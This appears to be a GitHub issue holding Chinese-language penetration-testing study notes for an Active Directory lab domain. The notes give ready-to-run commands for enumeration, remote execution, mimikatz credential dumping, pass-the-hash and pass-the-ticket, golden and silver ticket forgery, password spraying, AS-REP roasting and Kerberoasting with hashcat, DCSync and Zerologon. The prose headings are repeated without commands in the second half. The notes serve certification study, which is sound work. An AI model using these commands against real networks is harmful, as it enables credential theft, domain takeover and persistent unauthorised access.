Open cha0s32 opened 7 months ago
信息收集
net user /domain net group /domain net group "Domain Admins" /domain # 这种方法没办法收集到组的嵌套关系 # 可以使用PowerView Import-Module .\PowerView.ps1 Get-Netdomain Get-NetUser | select cn # 思路是找高权限用户,找哪一台主机有该用户的登录会话,用普通用户去连那台主机,找内存的hash Get-NetGroup | select cn Get-NetGroup "Domain Admins" | select member Get-NetComputer | select cn,operationsystem,dnshostname # 寻找普通用户在哪台机器上有本地管理员权限 Find-LocalAdminAccess Get-NetSession #域当中所有主机当前的会话 Get-NetSession -ComputerName User1 # 查看User1中存在的会话 # 查看账户绑定的spn Get-NetUser -SPN | select cn,serviceprincipalname # 可以针对SPN服务账号的名称进行密码爆破 #看看解析成什么IP nslookup # 找域当中所有主机上的文件共享 Find-DomainShare # 有一个文件共享必定存在 \\域名 \\oscp.com # 找一个SYSVOL,域当中的策略都在里面 # 各种信息收集可以用SharpHound
远程登录
WMIC
# 在远程主机user1执行命令 wmic /node:user1 process call create "cmd" # 现在登录的账号对远程主机有管理员权限,登录域的时候做一次身份认证后,执行命令不需要继续认证了 wmic /node:10.0.2.94 /user:oscp\alice /password:Password2 process call create "cmd" # kali传输文件新方式 mkdir p impacket-smbserver -smb2support p # 然后在windows上访问\\kali-ip, 然后把要共享的文件拖进去 # 反弹shell可以用谷安提供的encode.py生成payload
WINRM
端口:5985、5986
平时如果用wmic远程连接可以成功,就不需要用到winrm,如果wmic不能用,可以看看5985、5986端口有没有开
windows默认winrm没启动
# 管理员权限 Enable-PSRemoting -force netstat -ano # 看看端口起了没 winrs -r:user1 "cmd /c hostname & whoami" # 非域环境 winrs -r:user1 -u:oscp\alice -p:Password "cmd /c ipconfig" # 使用powershell调用winrm New-PSSession -ComputerName user1 Enter-PSSession 1
PsExec
.\PsExec64.exe -i \\user1 cmd
横向渗透
PTH
机器上存在高权限的本地账号会话的话,密码的hash会缓存在机器的lssas内存中
mimikatz.exe privilege::debug sekurlsa:logonpassword
# kali impacket-wmiexec -hashes :hash administrator@10.0.2.92
Over PTH
在本机上,利用已经获得的hash,给自己申请一个域管理员账号的票据,然后可以登录域的任何一台主机
sekurlsa::pth /user:administrator /domain:oscp.com /ntlm:hash /run:powershell # 以管理员的身份打开了powershell # 打开工具包,已经有管理员的票据了 PsExec64.exe \\dc1 cmd
PTT
服务票据可以从一台机器导入到另一台机器中
Bob可以访问文件共享,Alice不行,但是Alice可以在Bob这台机器中有管理员权限,可以从Bob机器上导出服务票据,导入到Alice的机器中,让Alice有权限访问文件共享
#Bob sekurlsa::tickets /export # 会在 mimikatz 当前目录 # 拷贝票据到另一台机器 # 票据导入 kerberos::ptt 票据文件名 # 导入后就有文件共享的权限了
持久化
金票伪造
管理员把密码改了,无法通过PTH来进行登录,可以伪造一张TGT来进行持久化
TGT通过krbtgt的hash来加密,所以伪造TGT需要知道krbtgt的hash
需要的东西:
- 域的SID
- krbtgt的hash
- 域当中任何一个用户的用户名
# SID whoami /user # krbtgt 需要有域管理员的权限 mimikatz.exe privilege::debug lsadump::lsa /patch # 伪造金票 kerberos::purge # 清理票据 kerberos::golden /user:bob /domain:oscp.com /sid:domain-sid /krbtgt:hash /ptt # 已经是管理员了 misc::cmd # 打开一个cmd
攻击AD域
Spray Password
域中密码爆破有阈值,所以反过来用密码破解用户名
powershell -ep bypass .\Spray-Passwords.ps1 -Pass Password1 # kali下也有这种类型的工具 crackmapexec smb 10.0.2.94 -u user.txt -p Password1 -d oscp.com
AS-REP(Pre Auth)
一般用户拿到TGT之前是会经过DC的预身份认证
若DC中给某个管理员账户取消了预身份认证,该用户可以直接得到TGT,可以用所有用户向DC发一个身份认证的请求,返回的信息若有用某个账号hash加密的会话密钥,可以对密钥进行解密
要实现这种攻击:需要有一个普通的账号和密码
impacket-GetNPUsers --dc-ip 10.0.2.91 -request -outputfile hash.txt oscp.com/Bob # 输入密码 Password1 # hash.txt 返回的是用alice的hash加密的信息 hash --help | grep -i kerberos hashcat -m 18200 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.txt # -r 是规则文件
Kerberosting(SPN)
针对SPN的弱密码来进行攻击
impacket-GetNuserSPNs -request -dc-ip 10.0.2.91 oscp.com/bob # 知道一个域中普通账号密码就行 # 输入密码 # 获取由服务账号hash加密的密文 将它生成h.txt hashcat -m 13100 h.txt rockyou.txt -r /usr/share/hashcat/rules/best64.txt # 获得sqladmin的账号,是域管理理员组的成员
银票
用来做提权的
需要:SPN服务账号的密码(如获取明文,可以把它加密成 nt hash),SPN名,域的SID
mimikatz.exe privilege::debug kerberos::golden /sid:domain_sid /domain:oscp.com /ptt /target:www.oscp.com /service:http /rc4:spn_hash /user:bob
DC同步
一旦获得域控制器的管理员权限,可以把所有账号的hash一次性dump下来
impacket-secretdump oscp.com/administrator:"Passw0rd"@10.0.2.91
原本是DC之间用来同步的机制,但是由于没有验证来源主机,所以只要管理员账号密码提供正确,即可dump下来
Zerologon
什么信息都收集不了,但是Server 2016没有打补丁的话,有这个漏洞
工具网上搜索
Github ricksense zerologon
cd zerologon python set_empty_pw.py dc1 10.0.2.91 # 参考zerologon的github项目,可以把所有账号的hash 都dump下来 impacket-secretdump -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'oscp.com/dc1@10.0.2.91'
信息收集
远程登录
WMIC
WINRM
端口:5985、5986
平时如果用wmic远程连接可以成功,就不需要用到winrm,如果wmic不能用,可以看看5985、5986端口有没有开
windows默认winrm没启动
PsExec
横向渗透
PTH
机器上存在高权限的本地账号会话的话,密码的hash会缓存在机器的lssas内存中
Over PTH
在本机上,利用已经获得的hash,给自己申请一个域管理员账号的票据,然后可以登录域的任何一台主机
PTT
服务票据可以从一台机器导入到另一台机器中
Bob可以访问文件共享,Alice不行,但是Alice可以在Bob这台机器中有管理员权限,可以从Bob机器上导出服务票据,导入到Alice的机器中,让Alice有权限访问文件共享
持久化
金票伪造
管理员把密码改了,无法通过PTH来进行登录,可以伪造一张TGT来进行持久化
TGT通过krbtgt的hash来加密,所以伪造TGT需要知道krbtgt的hash
需要的东西:
攻击AD域
Spray Password
域中密码爆破有阈值,所以反过来用密码破解用户名
AS-REP(Pre Auth)
一般用户拿到TGT之前是会经过DC的预身份认证
若DC中给某个管理员账户取消了预身份认证,该用户可以直接得到TGT,可以用所有用户向DC发一个身份认证的请求,返回的信息若有用某个账号hash加密的会话密钥,可以对密钥进行解密
要实现这种攻击:需要有一个普通的账号和密码
Kerberosting(SPN)
针对SPN的弱密码来进行攻击
银票
用来做提权的
需要:SPN服务账号的密码(如获取明文,可以把它加密成 nt hash),SPN名,域的SID
DC同步
一旦获得域控制器的管理员权限,可以把所有账号的hash一次性dump下来
原本是DC之间用来同步的机制,但是由于没有验证来源主机,所以只要管理员账号密码提供正确,即可dump下来
Zerologon
什么信息都收集不了,但是Server 2016没有打补丁的话,有这个漏洞
工具网上搜索
Github ricksense zerologon